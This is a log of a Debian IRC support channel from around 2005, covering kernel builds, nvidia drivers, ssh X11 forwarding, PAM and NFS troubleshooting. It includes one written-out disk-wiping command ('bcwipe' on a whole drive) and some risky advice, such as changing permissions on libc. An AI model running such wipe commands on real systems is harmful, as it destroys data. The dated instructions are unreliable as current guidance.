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| 18:53.22 | FieldySnuts | dkg0: but the point is if whoever you're trying to keep the data from is motivated enough and has enough time and money, that data is *never* safe unless the disk platters are destroyed in a way they can't be put back together |
| 18:53.27 | MagicHands | and this happens regardless of the browser I use..mozilla navigator and konqueror also do the same thing |
| 18:53.32 | dkg0 | FieldySnuts, that's kinda what i figured. i'd like to learn about those tools, though. i'm having a hard time figuring out how software alone could do that without being thwarted at the ATA interface... |
| 18:53.35 | mxn | Well, I can get off this *Windows* box now that my Debian one appears to be safe...BBL. Cheers stew, Blissex et al ;-) |
| 18:53.36 | KasperTech | valdyn_: 3 woody, 2.20 kernel tried to upgrade to 2.6 to get my X up and running on my GeForce FX 5600 ultra :-) |
| 18:53.44 | MagicHands | is the problem at my end or has my ISP gone bad? |
| 18:53.49 | valdyn_ | KasperTech: 2.6 does not work on woody |
| 18:53.59 | valdyn_ | !d-i KasperTech |
| 18:53.59 | dpkg | KasperTech, you want to go to http://www.debian.org/devel/debian-installer/ - for your own good, and everyone else's. |
| 18:54.08 | dvs | !bunk 2.6 |
| 18:54.08 | dpkg | bunk 2.6 is probably You can't run Linux 2.6 in woody without some newer packages. Get them at http://www.fs.tum.de/~bunk/packages/woody/kernel-26.html or just upgrade to sarge <woody->sarge>. |
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| 18:54.10 | FieldySnuts | dkg0: even more interesting, you may be able to recover data from ram. now that's creepy. far more difficult. |
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| 18:54.22 | valdyn_ | KasperTech: dont mess around with woody if you're a newbie, no point |
| 18:54.31 | valdyn_ | KasperTech: just do what dpkg said |
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| 18:54.46 | humbolt | I got this pam_script module, that is supposed to be able to run a script on login and logout and have an option runas=root so I can add iptables for example. |
| 18:54.54 | KasperTech | valdyn_: I just want Debian up and running with x.. what do I do :-) ? |
| 18:54.54 | dkg0 | FieldySnuts: got any URLs to look into about that stuff? it sounds like we're talking specialized hardware to me... |
| 18:54.55 | humbolt | However runas=root does not work |
| 18:54.59 | KasperTech | I don't care what it takes |
| 18:55.01 | deadline | im trying to build dcgui-qt from source, when doing ./configure it says: checking for X... configure: error: Can't find X includes. Please check your installation and add the correct paths!. what do i have to install? x-window-system-dev? |
| 18:55.02 | valdyn_ | KasperTech: main thing ( for you i guess ), much better h/w detection |
| 18:55.07 | FieldySnuts | dkg0: not really, maybe search for data recovery services |
| 18:55.08 | [Granger] | KasperTech: start reading what we tell you |
| 18:55.12 | [Granger] | for one |
| 18:55.13 | KasperTech | mkay |
| 18:55.14 | MagicHands | KasperTech: tried knoppix? |
| 18:55.15 | KasperTech | :-) |
| 18:55.18 | valdyn_ | KasperTech: woody might not support much of your hardware, its from 2002 |
| 18:55.19 | [Granger] | and, read the documentation |
| 18:55.19 | KasperTech | MagicHands: jep |
| 18:55.31 | abrotman | KasperTech: which version of debian ... and what card? |
| 18:55.33 | FieldySnuts | dkg0: you might be able to find out about how some of them do it, but they're usually very secretive |
| 18:55.34 | [Granger] | valdyn_: I'm pretty certain it won't |
| 18:55.37 | KasperTech | valdyn_: how do I get something else |
| 18:55.37 | valentinos | any good howto for installing nvidia drivers on debian sarge ? |
| 18:55.39 | dkg0 | FieldySnuts, yeh. but they're not telling any secrets, unfortunately, because they want to charge more. |
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| 18:55.45 | blue_ | can someone help me, i just want wine and IE installed so I can test websites |
| 18:55.49 | valdyn_ | !d-i KasperTech |
| 18:55.49 | dpkg | KasperTech, you want to go to http://www.debian.org/devel/debian-installer/ - for your own good, and everyone else's. |
| 18:55.51 | [Granger] | valentinos: gogle it |
| 18:55.53 | drac | !tell valentinos about nvidia-howto |
| 18:55.58 | valdyn_ | KasperTech: _read_ what dpkg said |
| 18:56.01 | FieldySnuts | @lart blue_ for assisting the spread of non-standards |
| 18:56.04 | KasperTech | valdyn_: yes sir! |
| 18:56.19 | FieldySnuts | aka "will sell soul for money" |
| 18:56.19 | humbolt | so I am looking for an alternative way to add iptables on login, I thought of making the script I use setuid root, but that did not do the trick somehow?? do you have an explanation why this does not work? |
| 18:56.22 | FieldySnuts | bbl |
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| 18:56.28 | abrotman | KasperTech: which version of debian ... and what card? |
| 18:56.42 | KasperTech | abrotman: 3 woody, 2.20 kernel tried to upgrade to 2.6 to get my X up and running on my GeForce FX 5600 ultra :-) |
| 18:56.55 | stew | KasperTech: why not upgrade to sarge then |
| 18:56.55 | abrotman | KasperTech: did you install bunk 2.6? |
| 18:56.55 | dvs | KasperTech: woody is too old. |
| 18:56.56 | [Granger] | oh ya that's asking for trouble |
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| 18:57.16 | KasperTech | i'm reading about sarge... i'll return in 10 minutes :-) |
| 18:57.16 | abrotman | and the version of X i doubt would do it .. but go ahead and try :) |
| 18:57.17 | KasperTech | okay? |
| 18:57.24 | KasperTech | abrotman: ;) |
| 18:57.25 | dvs | KasperTech: NO! ;-) |
| 18:57.36 | [Granger] | hmm |
| 18:57.36 | sepski | x11vnc allow you to connect to your running x session, basicaly seeing whats actualy on the physical monitor, is this a possibility with freenx ?? |
| 18:57.39 | valdyn_ | woody wont even support a GF4, no way a gffx |
| 18:57.40 | KasperTech | dvs: ;) |
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| 18:57.58 | asg | [Granger]: it never weill be |
| 18:57.59 | FieldySnuts | doubt it, licensing issues |
| 18:58.02 | valentinos | thanks drac |
| 18:58.06 | KasperTech | valdyn_: denmark doesn't isn't fit for debian :-( |
| 18:58.07 | dvs | only rc3 is it? |
| 18:58.09 | [Granger] | what's with the license? |
| 18:58.15 | swatikiss | i have a few nics here in front of me and am wondering if one would would be more reliable for me than the others... ? |
| 18:58.20 | FieldySnuts | violates the gpl's advertisement clause |
| 18:58.20 | dkg0 | humbolt: http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html |
| 18:58.23 | abrotman | swatikiss: such as ? |
| 18:58.25 | Seldo | I'm attempting to build a driver module for my wireless card, and the output of make says "the present kernel configuration has modules disabled" |
| 18:58.26 | FieldySnuts | long story. i'm sure somebody can provide URL's. |
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| 18:58.33 | Seldo | Despite the output of lsmod being a load of modules |
| 18:58.36 | Seldo | Any ideas? |
| 18:58.48 | [Granger] | FieldySnuts: let me guess, they're advertising their sponsors |
| 18:59.09 | dkg0 | Seldo: what .config is present in the kernel sources you are building from? |
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| 18:59.37 | swatikiss | abrotman, a 8139too one, tulip one, and some via vt6105 .. not sure what driver for that one |
| 19:00.01 | abrotman | swatikiss: personally .. i'd pick the tulip |
| 19:00.04 | dvs | swatikiss: tulip get my vote |
| 19:00.04 | dkg0 | Seldo: lsmod lists the modules loaded in the actively-running kernel, which may or may not have a different configuration than the one you are building. |
| 19:00.09 | Sebischn | FieldySnuts : I tried ./bcwipe -mg -v /dev/hdb |
| 19:00.10 | Sebischn | <PROTECTED> |
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| 19:00.41 | swatikiss | i accidently got another pci nic when i meant to order an isa :P |
| 19:00.46 | swatikiss | so now i have 2 extra |
| 19:00.56 | drac | Sebischn: are you in same directory with 'bcwipe' binary? :) |
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| 19:01.13 | Seldo | dkg0: /usr/src/kernel-source-2.4.18 doesn't seem to have a ".config" file in it anywhere |
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| 19:01.25 | fflush | anyone running debian on Xen here ? |
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| 19:01.31 | dkg0 | Seldo: right. you should copy in /boot/config-2.4.18 |
| 19:01.42 | Sebischn | drac, you understand me wrong : |
| 19:01.44 | dkg0 | Seldo: that is, cp /boot/config-2.4.18 ./.config |
| 19:01.44 | Sebischn | Cannot stat /dev/hda3: No such file or directory - Skiping |
| 19:01.44 | Sebischn | gigahosting24:/usr/bin# cfdisk |
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| 19:01.58 | Sebischn | but there's a hda3 |
| 19:02.13 | dvs | Sebischn: But is there a /dev/hda3? |
| 19:02.26 | Sebischn | yes it is |
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| 19:02.43 | dvs | Sebischn: Then your hard drive might not have one. |
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| 19:03.06 | Sebischn | Is it perhabs because I have crypted the partition with dm_crypt ? |
| 19:03.08 | settledown_debia | dkg0: 10.3.8 |
| 19:03.12 | settledown_debia | osx |
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| 19:03.21 | dvs | Sebischn: Maybe |
| 19:03.29 | Sebischn | hm |
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| 19:03.42 | dvs | Sebischn: Try "fdisk -l" as root and see |
| 19:03.48 | dkg0 | settledown_debia: install apple's X11 from the panther extras (or utilities or something -- can't remember the name of the location at the moment) |
| 19:03.59 | Sebischn | ok |
| 19:04.02 | jrelics | isam database conversion? |
| 19:04.18 | Sebischn | /dev/hda3 1339 30401 233448547+ 83 Linux |
| 19:04.33 | dkg0 | settledown_debia: while that's loading, make sure you can ssh into your debian machine from the mac. |
| 19:04.41 | rfauth | is kernel-package the recommended way to compile or is make blzimage.... |
| 19:04.41 | dvs | Sebischn: I guess it's because it's an encrypted partition |
| 19:04.49 | dkg0 | settledown_debia: you'll also want to modify /etc/ssh/sshd/ |
| 19:04.50 | dvs | rfauth: yes |
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| 19:04.59 | Seldo | dkg0: that seemed to solve the last problem. Now "no rule to make target include/linux/autoconf.h" needed by "include/config/MAKER". I'm totally clueless :-/ |
| 19:05.07 | Sebischn | but I have even erased it with mke2fs |
| 19:05.09 | valentinos | ls |
| 19:05.21 | dkg0 | settledown_debia: sorry, you'll want to modify /etc/ssh/sshd_config to have "ForwardX11 yes" |
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| 19:05.39 | Seldo | dkg0: is it possible that I'm just using the wrong source? e.g. 2.4.18 when there's a 2.4.18-k6 lying around that I should be using instead? |
| 19:05.48 | settledown_debia | see, why shouldnt i just run a vnc on the debian machine and then just control the screen using my mac |
| 19:06.10 | dkg0 | Seldo: the same source is used to build each of the different versions of the kernel. the config file tells which subarch to target... |
| 19:06.10 | settledown_debia | isnt that easier |
| 19:06.13 | stew | Seldo: there isn't arch specific source |
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| 19:06.39 | valdyn_ | Seldo: you're trying to compile an unconfigured kernel? |
| 19:07.05 | stew | Seldo: why are you compiling in the first place? why not just apt-get a new kernel? |
| 19:07.08 | dkg0 | settledown_debia: forwarding X11 connections over ssh is more secure than VNC, and more flexible. |
| 19:07.13 | settledown_debia | i can ssh into the debian machine |
| 19:07.17 | settledown_debia | i just did |
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| 19:07.58 | Seldo | all: I'm not compiling the kernel; I'm trying to build a module for the kernel (no binary drivers available for this wireless card) |
| 19:08.14 | dkg0 | settledown_debia: and does /etc/ssh/sshd_config on your debian machine have "X11Forwarding yes" in it? |
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| 19:08.42 | settledown_debia | i dont think i know how to check that |
| 19:08.44 | stingaa | has anyone had firefox freeze when trying to download something |
| 19:09.14 | dkg0 | settledown_debia: ssh root@debianmachine nano -w /etc/ssh/sshd_config |
| 19:09.15 | Seldo | the (crappily written) howto I'm reading thinks that the kernel source needs to be available to compile this module. |
| 19:09.17 | settledown_debia | i cd to ssh directoy |
| 19:09.41 | valdyn_ | Seldo: you need only the headers but in any case it needs to be configured properly |
| 19:09.45 | settledown_debia | from the mac or from the debain machine |
| 19:10.08 | dkg0 | settledown_debia: from the debian machine, as root, run "nano -w /etc/ssh/sshd_config" |
| 19:10.22 | Seldo | valdyn: guess I should go googling on how to configure a kernel then... or is there a tool that will do this for me, using the current configuration or something? |
| 19:10.26 | valdyn_ | Seldo: apt-get install kernel-headers-$(uname -r) ; apt-get install module-assistant, then use that tool |
| 19:10.36 | dvs | Seldo: module-assistant |
| 19:10.48 | stew | !info module-assistant woody |
| 19:10.57 | stew | <dpkg> Package 'module-assistant' does not exist. |
| 19:11.18 | valdyn_ | Seldo: oh, nm module-assistant then, just use make-kpkg as you already tried i guess |
| 19:11.22 | settledown_debia | x11 forwaring no |
| 19:11.39 | settledown_debia | change it to yes? |
| 19:11.43 | dkg0 | settledown_debia: change that line to "X11Forwarding yes" |
| 19:12.14 | dkg0 | settledown_debia: then, as root on the debian machine, restart sshd: |
| 19:12.14 | dkg0 | invoke-rc.d ssh restart |
| 19:12.30 | settledown_debia | then how do i save out? shift o? |
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| 19:12.34 | Seldo | valdyn: installing the kernel-headers now :-) |
| 19:13.01 | dkg0 | settledown_debia: use ctrl+O to write it to a file |
| 19:13.05 | settledown_debia | how do i save out of nano |
| 19:13.07 | Seldo | valdyn: no, not tried (or heard of) make-kpkg. Will google :-) |
| 19:13.07 | settledown_debia | oh |
| 19:13.12 | Snowdog | Well, after 13 years of using ircII, I think I have to give it up. |
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| 19:13.18 | valdyn_ | !kernel-package |
| 19:13.19 | dpkg | To compile a kernel The Debian Way (tm) "apt-get install kernel-package" and follow the instructions in /usr/share/doc/kernel-package/README.gz (use zless or lynx), or http://newbiedoc.sourceforge.net/system/kernel-pkg.html |
| 19:13.40 | dkg0 | settledown_debian: ^X means ctrl+X in a lot of documentation. that will come in handy later. |
| 19:13.42 | valdyn_ | Seldo: try that, google sometimes brings up confusing or misleading stuff too |
| 19:13.47 | Snowdog | The Nick completer script is segfaulting ircII in this channel. |
| 19:14.04 | settledown_debia | yea im figuring that out |
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| 19:14.15 | Snowdog | No dev on it for years too. |
| 19:14.22 | Snowdog | So its off to EPIC4 for me. |
| 19:14.26 | asg | Snowdog: perhaps ircii doesn't have enough buffer to support >800 people in channel |
| 19:14.46 | Snowdog | asg: Probably not, but I don't know how to fix that. |
| 19:14.52 | Seldo | valdyn: as far as I understand, what I want to do shouldn't involve compiling the whole kernel -- I just need the headers there so I can compile this module. |
| 19:14.53 | asg | Snowdog: you could always use irssi-text |
| 19:15.05 | abrotman | seconded |
| 19:15.06 | asg | Snowdog: most here consider it to be the better irc text client |
| 19:15.16 | valdyn_ | Seldo: yea, that factoid isnt complete, make-kpkg is for compiling modules just aswell |
| 19:15.17 | settledown_debia | restart sshd is not found |
| 19:15.24 | settledown_debia | im root |
| 19:15.25 | abrotman | /etc/init.d/ssh restart |
| 19:15.38 | dkg0 | settledown_debia: or "invoke-rc.d ssh restart" |
| 19:15.57 | dkg0 | settledown_debia: they should do the same thing, more or less |
| 19:16.05 | Snowdog | asg: I've been toying with epic4 for years. It uses the same scripts as ircII, in fact I think its ircII for the most part. |
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| 19:16.20 | Snowdog | asg: Looks and feels the same at least. |
| 19:16.20 | asg | Snowdog: cool, whatever works for you. |
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| 19:16.52 | Miguelzinho | debian startup process: http://www.imagehosting.us/imagehosting/showimg.png/?id=296358 |
| 19:16.55 | Snowdog | asg: I don't think I've ever tried irssi. I probably should. |
| 19:17.12 | valdyn_ | Seldo: "this module" you got in a debian package? |
| 19:17.19 | asg | Snowdog: if you wanted to file a bug on ircii, you could. (I'd check that you get the same output in #gentoo on this server and some other large channel on another first though.) |
| 19:17.53 | settledown_debia | restarted openbsd secure shell server |
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| 19:18.08 | settledown_debia | still looking for x11 on the mac |
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| 19:19.33 | lkd | mrrrgh |
| 19:19.39 | dkg0 | settledown_debia: it should be on one of the panther CDs if you have them... |
| 19:19.42 | lkd | how can i get apt-get to install local packages? |
| 19:19.49 | lkd | im sure its been asked a million times |
| 19:20.01 | asg | lkd: /msg dpkg repository |
| 19:20.06 | settledown_debia | it is on the developers tools |
| 19:20.11 | settledown_debia | it is now installing |
| 19:20.19 | lkd | thx asg |
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| 19:21.05 | aespinoza | hello to everyone |
| 19:21.31 | MiXa | hey |
| 19:21.46 | MiXa | anybody know if there's a debian package for nvidia drivers? |
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| 19:21.55 | aespinoza | MiXa, yep there is |
| 19:21.57 | stew | MiXa: /msg dpkg nvidia howto |
| 19:22.01 | valdyn_ | MiXa: in sid |
| 19:22.05 | MiXa | thanks |
| 19:22.08 | aespinoza | :D |
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| 19:22.48 | KasperTech | ftp.dk.debian is a bit unstable ? |
| 19:22.55 | aespinoza | I am having problems mounting an vfat partition with kernel 2.6.10 does any one know anything about ? I found a post on google about it also, but it doesn't help much |
| 19:22.56 | MiXa | i really need a binary package because my kernel is 2.6.8-2-686 and i can't seem to find appropriate sources for it :/ |
| 19:22.57 | KasperTech | jigdo says that it can't get it :-( |
| 19:23.20 | Seldo | valydn: "this module" is a big pile of source code I got off of the sourceforge.net page |
| 19:23.25 | dkg0 | aespinoza: what errors are you getting? |
| 19:23.38 | aespinoza | Unable to load NLS charset cp437 |
| 19:23.39 | aespinoza | FAT: codepage cp437 not found |
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| 19:23.44 | drac | MiXa: package kernel-source-2.6.8 |
| 19:23.45 | stew | MiXa: apt-get install kernel-headers-2.6.8-2 |
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| 19:23.59 | Blissex | aespinoza: you need a telepath to answer a question about a problem that you dont say what it is. |
| 19:24.01 | aespinoza | dpkg, it is a custom kernel, and I added the NLS codepage in the kernel |
| 19:24.01 | dpkg | aespinoza: what are you talking about? |
| 19:24.06 | stew | MiXa: the kenrel-headers is all you need to compile the module |
| 19:24.16 | dkg0 | aespinoza: /sbin/modprobe -l '*437*' |
| 19:24.34 | Blissex | aespinoza: ah sorry, you did say eventually, and dkg0 is giving you a good solution. |
| 19:24.55 | aespinoza | dpkg0, I didn't add the codepage as a module |
| 19:25.17 | valdyn_ | !info kernel-headers-2.6.8-2-686 sarge |
| 19:25.23 | aespinoza | dpkg0, anyways, the codepage is not on the kernel, I know that, but it was selected on the configuration. |
| 19:25.32 | dpkg | kernel-headers-2.6.8-2-686: (Linux kernel headers 2.6.8 on PPro/Celeron/PII/PIII/P4), section devel, is optional. Version: 2.6.8-13 (sarge), Packaged size: 248 kB, Installed size: 16472 kB |
| 19:25.36 | dkg0 | aespinoza: well, that's the problem (and i'm dkg0, not dpkg0) |
| 19:25.47 | MiXa | stew, i tried it |
| 19:25.58 | stew | MiXa: and what happened? |
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| 19:26.06 | valdyn_ | MiXa: these headers mentioned by dpkg are all you need |
| 19:26.18 | aespinoza | dkg0, sorry, I haven't slept for 48 hours now, I'm not in my best of senses. |
| 19:26.23 | MiXa | it says that it can't load nvidia.ko because it's compiled for a different version of the kernel |
| 19:26.57 | greycat | MiXa: you don't want *sources*. you want headers. |
| 19:26.59 | dkg0 | aespinoza: you could try supplying codepage=soemthing else as a mount option (man mount | grep -A15 codepage) to force it to use a different one... |
| 19:27.02 | aespinoza | dkg0, the thing, it was included in the configuration, I have checked it several times... maybe the problem is that I am make the image with debian kernel tools |
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| 19:27.12 | greycat | MiXa: what does 'apt-get install kernel-headers-$(uname -r)' say? |
| 19:27.16 | aespinoza | dkg0, tried it, and nothing. |
| 19:27.17 | settledown_debia | dkg0: so is the debian machine ready now? i just need to get the mac ready? |
| 19:27.20 | MiXa | greycat, wait |
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| 19:27.42 | aespinoza | dkg0, I'm beginning to think it is a bug in the debian kernel tools. I'm going tyo try to compile it without them |
| 19:27.44 | dkg0 | settledown_debia: yes, just shout when the apple's X11 is installed and running. |
| 19:27.52 | settledown_debia | cool, thx |
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| 19:28.05 | aespinoza | dkg0, http://lists.debian.org/debian-kernel/2005/01/msg00850.html <-- same problem here |
| 19:28.07 | MiXa | o_O |
| 19:28.14 | MiXa | it started installing the package |
| 19:28.28 | MiXa | i guess i didn't have the appropriate headers :D |
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| 19:29.41 | dkg0 | aespinoza: yikes. have you tried it with the stock 2.6.10 kernel from sid? |
| 19:29.55 | MiXa | omfg |
| 19:30.01 | MiXa | greycat, BIG thanks |
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| 19:30.47 | aespinoza | dkg0, no I haven't but if nothing works, I will :S |
| 19:31.10 | stew | aespinoza: why are you compiling your own kenrel in the first place? |
| 19:31.15 | dkg0 | aespinoza: you should send whatever you find out to bug 292516 as well, so we can all learn from yer troubles ;) |
| 19:31.50 | m0p | Anyone know how reliable the experimental Reiser4 patch that comes with Sarge is? |
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| 19:32.58 | aespinoza | stew, because I'm using the nvidia patch for the kernel and several other patches we use. :D |
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| 19:33.12 | aespinoza | dkg0, sure do... thanks for you time. :D |
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| 19:35.55 | cnorton | how can I findout what version of libc I am using/ |
| 19:35.56 | cnorton | ? |
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| 19:36.05 | Unified | hi |
| 19:36.11 | brosio | i've a problem with lmsensor |
| 19:36.11 | Unified | is it okay to ask gnome related questions here? |
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| 19:36.24 | asg | cnorton: dpkg -l | grep libc6 |
| 19:36.25 | brosio | sensors are deteceted |
| 19:36.27 | brosio | i2c /dev entries driver |
| 19:36.27 | brosio | it87: Found IT8712F chip at 0x290, revision 5 |
| 19:36.35 | brosio | but sensor No sensors found! |
| 19:36.38 | cnorton | asg thanks |
| 19:36.56 | Blissex | cnorton: the best way is: chmod a+rx /lib/libc.so.6; /lib/libc.so.6 |
| 19:37.13 | greycat | Blissex: *shudder* |
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| 19:37.53 | asg | Blissex: strings + grep will be a little less naughty |
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| 19:38.17 | paulswm | <MuSTaFa> is also on join porn spamming |
| 19:38.19 | Blissex | asg: that's the official, recommended way of doing it. That's why doing so prints out the right information. |
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| 19:38.58 | dvs | Awwwww |
| 19:38.59 | asg | Blissex: true though a mistake in the chmod command could cause lots of havoc ;) |
| 19:39.00 | paulswm | greycat: thanks |
| 19:39.09 | tazle | wonder why adding the debug parameter to pam_unix.so to /etc/pam.d/common-auth doesn't cause any debug logging |
| 19:39.57 | asg | tazle: which log are you looking at? |
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| 19:40.46 | tazle | asg: auth.log, it's the only one that gets updated when I try to log on |
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| 19:40.57 | asg | tazle: just making sure. |
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| 19:42.33 | lane | I'm having trouble with CDs. |
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| 19:43.05 | atbash | i've downloaded and compiled vanilla kernel 2.6.11, but now i can't compile nvidia modules anymore with module-assistant; i'm getting this error:/usr/src/modules/nvidia-kernel/nv/nv.c:2509: error: structure has no member named `pud' |
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| 19:43.23 | asg | atbash: apparently, the nvidia code doesn't play nicely with 2.6.11 |
| 19:43.25 | lane | When I insert a music CD, Gnome's CD player is giving me a disk error. When I try to mount a data CD, I get "/dev/cdrom is not a valid block device." Something I'm doing wrong? |
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| 19:43.38 | atbash | asg: it's a known problem? |
| 19:43.56 | daft_ | lane do you know what dev is your cdrom? |
| 19:43.58 | humbolt | if I set the suid bit on my iptables script owned by user root, why do I get this message: iptables v1.2.11: can't initialize iptables table `filter': Permission denied (you must be root) |
| 19:44.04 | asg | atbash: apparently, a lot of people have been complaining about it |
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| 19:44.27 | settledown_debia | dkg0: ok x11 is up and running |
| 19:44.32 | settledown_debia | with an xterm window open |
| 19:44.35 | lane | daft_ I believe it's just /dev/cdrom. It could be /hda |
| 19:44.48 | dkg0 | settledown_debia: ok, so try "ssh -Xf debianmachine xterm |
| 19:44.54 | asg | humbolt: why don't you just install sudo and use that. Much safer, much easier. |
| 19:44.57 | lane | (I've got SDA as my main drive) |
| 19:45.09 | dvs | lane: You don't mound audio CDs |
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| 19:45.26 | atbash | asg: ok thx, i knew there were some issues, but i thought they were resolved after patch rc2 or rc3; they must have sneaked in again... |
| 19:45.35 | lane | dvs, I understand that. However, I can't mount a data CD either. |
| 19:45.48 | dkg0 | settledown_debia: it should give you another xterm, but this time running on the debian host. |
| 19:46.00 | dvs | lane: What does "ls -l /dev/cdrom" say? |
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| 19:46.10 | j_p_c_l | Hi peopl. I installed sarge with the businesscd-rc2, and I've got a 2.4 kernel installed, but not the 2.4-smp kernel that I was expecting. Is this the way it was suposed to be (and I need to apt-get a smp kernel), a later installer has this fixed, or... ? |
| 19:46.14 | superSSS | When trying to make kernel config i get bunch of errors: |
| 19:46.14 | superSSS | make[1]: *** [scripts/basic/fixdep] Error 1 |
| 19:46.15 | superSSS | make: *** [scripts_basic] Error 2 |
| 19:46.23 | daft_ | lane try to find your cdrom /dev/hda you said make a symlink to /dev/cdrom |
| 19:46.26 | asg | j_p_c_l: apt-get install an smp kernel |
| 19:46.34 | lane | it's /dev/hdc it says, apparently. |
| 19:46.37 | asg | j_p_c_l: the install, for obvious reasons, only uses a up kernel |
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| 19:46.53 | dvs | lane: That's the master secondard connection. |
| 19:47.00 | settledown_debia | it did not |
| 19:47.02 | lane | I see. |
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| 19:47.07 | j_p_c_l | asg: thanks. For obvious reasons? Sorry, did not got that |
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| 19:47.31 | dkg0 | settledown_debia: ok, let's try a simpler command first: "ssh -X debianmachine" |
| 19:47.38 | lane | Crap. I gotta go. Thanks for the help anyways. |
| 19:47.40 | Unified | is it possible to "cache" directories in nautilus? i have a directory with about 1.000 subdirectories, and if i want to change into a subdir, i have to wait about 5 secs... |
| 19:47.51 | settledown | by debianmachine you mean the ip, right? |
| 19:48.11 | dkg0 | settledown_debia: did you change your name? |
| 19:48.25 | netzmeister | how can i install a nfs server ? apt-get install .... |
| 19:48.28 | settledown | i logged in from my mac |
| 19:48.33 | netzmeister | nfs-user-server ?? |
| 19:48.33 | settledown | to help copy and paste |
| 19:48.46 | settledown | on your first command it returned |
| 19:48.48 | j_p_c_l | asg: I have the feeling that a similar machine I installed back in november/december with a 2.6 kernel went straight to the 2.6-smp kernel..... |
| 19:48.50 | valdyn_ | netzmeister: yes |
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| 19:48.55 | settledown | bash: line 1: xterm: command not found |
| 19:49.06 | dkg0 | settledown: you should replace debianmachine with the address of your machine. |
| 19:49.07 | netzmeister | valdyn: and where is the config file ? |
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| 19:49.19 | netzmeister | "/etc/.." |
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| 19:49.27 | dkg0 | settledown: ok, try ssh -Xf debianmachine gnome-terminal |
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| 19:49.30 | valdyn_ | netzmeister: /etc/exports |
| 19:49.40 | netzmeister | oh yes.. thx valdyn |
| 19:49.49 | tazle | oh how I hate PAM |
| 19:49.49 | X101 | hi, I have set locale.gen to "no_NO ISO-8859-1", and I can write my international letters as my main user, but not as root |
| 19:49.50 | asg | j_p_c_l: that my have been the case using a early sarge d-i version. |
| 19:49.53 | dkg0 | settledown: (or, as root on debianmachine, "apt-get install xterm") |
| 19:50.12 | tazle | the idea is nice, but it's such a mess |
| 19:50.18 | asg | tazle: did you add debug to account, session, and so on. |
| 19:50.18 | netzmeister | valdyn: do you have an example line ß |
| 19:50.27 | tazle | asg: only to auth |
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| 19:50.32 | Noldo | netzmeister: manpages are for that |
| 19:50.45 | settledown | using 'ssh -X debianmachine xtern' |
| 19:50.50 | settledown | it logged me in |
| 19:50.54 | asg | tazle: try adding to account, the issue may be related to something else. |
| 19:51.01 | j_p_c_l | asg: ok, thanks. I will assume people believe a 686 kernel is more stable or something, and smp should only be installed "on demand". Thanks again |
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| 19:51.02 | tazle | sure |
| 19:51.20 | netzmeister | Noldo: okay right..sry.. |
| 19:51.26 | asg | j_p_c_l: iirc, there are problems with smp on install kernels due to the hardware probing and some arches having issues. |
| 19:51.28 | tazle | debugging these things is a pain |
| 19:51.36 | dkg0 | settledown: xtern? so you have a separate window open, that's running on the debian machine? |
| 19:51.36 | asg | j_p_c_l: I can't remember exactly the reference though. |
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| 19:51.49 | Noldo | netzmeister: it's better there than in my memory ;) |
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| 19:52.12 | settledown | sorry xterm... |
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| 19:52.29 | superSSS | my kernel config procedure fails with these errors; scripts/basic/fixdep.c:360: error: `stderr' undeclared (first use in this function) ; make[1]: *** [scripts/basic/fixdep] Error 1 ; make: *** [scripts_basic] Error 2 |
| 19:52.29 | settledown | i DO have a terminal open on the debian machine |
| 19:52.41 | settledown | but i used the ssh command on the mac |
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| 19:52.49 | tazle | asg: anyway, not change |
| 19:52.55 | cnorton | is there a command to tell me how much swap memory I have, and if there is a "hard virtual limit" |
| 19:53.01 | dkg0 | settledown: excellent. now you can launch whatever gui programs you want from that xterm. |
| 19:53.01 | settledown | i am now logged into the debian from the mac |
| 19:53.06 | asg | tazle: hmm, what issue are you having? |
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| 19:53.23 | tazle | asg: the system doesn't allow me to log in with a NIS user |
| 19:53.40 | tazle | id works, getent shows the user |
| 19:53.41 | m0p | Stupid question here, Sarge has some packages from Sid right? There seems to be an "unstable" directory on my sarge disks. |
| 19:53.46 | greycat | cnorton: free, top |
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| 19:53.50 | settledown | how do i launch a gui program from the xterm window? |
| 19:53.52 | X101 | any ideas how I can write my international letters as root? it works as my normal user |
| 19:53.57 | dvs | m0p: See what it points to |
| 19:53.58 | greycat | settledown: xterm & |
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| 19:54.16 | m0p | dvs, k. |
| 19:54.18 | netzmeister | Starting NFS servers:/etc/init.d/nfs-user-server: start-stop-daemon: command not found |
| 19:54.19 | settledown | dont know |
| 19:54.52 | tazle | the password hash should be fine too, at least it worked with Python's crypt module, which uses the C crypt function |
| 19:54.52 | Noldo | netzmeister: there is nfs-kernel-server and nfs-common |
| 19:54.52 | settledown | im logged into my debian machine using xterm on my mac |
| 19:54.54 | asg | tazle: hmmm. |
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| 19:54.59 | justin | !tell settledown about sshx |
| 19:55.07 | j_p_c_l | asg: Sorry for asking this but.. just curious... is that logic (the one that chooses the kernel) built-in the d-i (in the small installers like the businesscard cd, or floppies), and therefore I will see a diferent behaviour if I use a diferent-dated installer.... or is inside a packet that the businesscard cd downloads, and therefore I'll see the same result using either a rc1, rc2 installer or a fresh daily installer? |
| 19:55.33 | kalag | settledown: you mean export the display? |
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| 19:55.51 | tazle | asg: and all the system tells me is "error: PAM: Authentication failure for tazle from vortex.home.lan" |
| 19:56.29 | asg | j_p_c_l: the installer comes with on 2.6 series and on 2.4 series kernel. Since the installer isn't finalized, there have been different configurations over time though the current version's kernels should be the same at release as they are now. |
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| 19:56.59 | asg | s/with on/with only/ |
| 19:57.17 | settledown | kalag: i wanted to control the screen this way |
| 19:57.17 | X101 | is there any reason why the keyboard settings would be different from my user and root? |
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| 19:58.28 | settledown | dkg0: how do i launch a gui program from here? |
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| 19:58.41 | asg | tazle: the only thing I can think of is that either you aren't allowed to log in from the host vortex.home.lan or the two systems are using different hashing schemes. |
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| 19:59.47 | tazle | asg: hmm, I'll try to move everything to local files, and start replacing values with working ones one-by-one |
| 19:59.54 | j_p_c_l | asg: yes, I know that. I was just wondering if this decision (use smp or not) is buil-in the "core" of the installer or if there is a package that is downloaded during installation that will decide that. Basically, as I saw the announcement on "debian-installer" page about broken rc2-rc3 images, I was asking if one should stick with the rc2 installer for now, or try to do "production" installs using a daily installer |
| 19:59.58 | Seldo | valdyn: I've installed the headers and tried starting make-kpkg with no arguments and it spat scary stuff endlessly until I ctrl-C'ed it. Now I'm trying to understand the documentation... but not doing very well. How do I use make-kpkg to configure the kernel without recompiling the whole damn thing? |
| 19:59.59 | asg | tazle: sorry I don't have any better debugging info for you. |
| 20:00.03 | kalag | settledown: just run any program from the shell, it will be exported to your mac assuming its running an x server... u did 'ssh -X ...' anyways |
| 20:00.18 | dkg0 | settledown: what program do you want to run? |
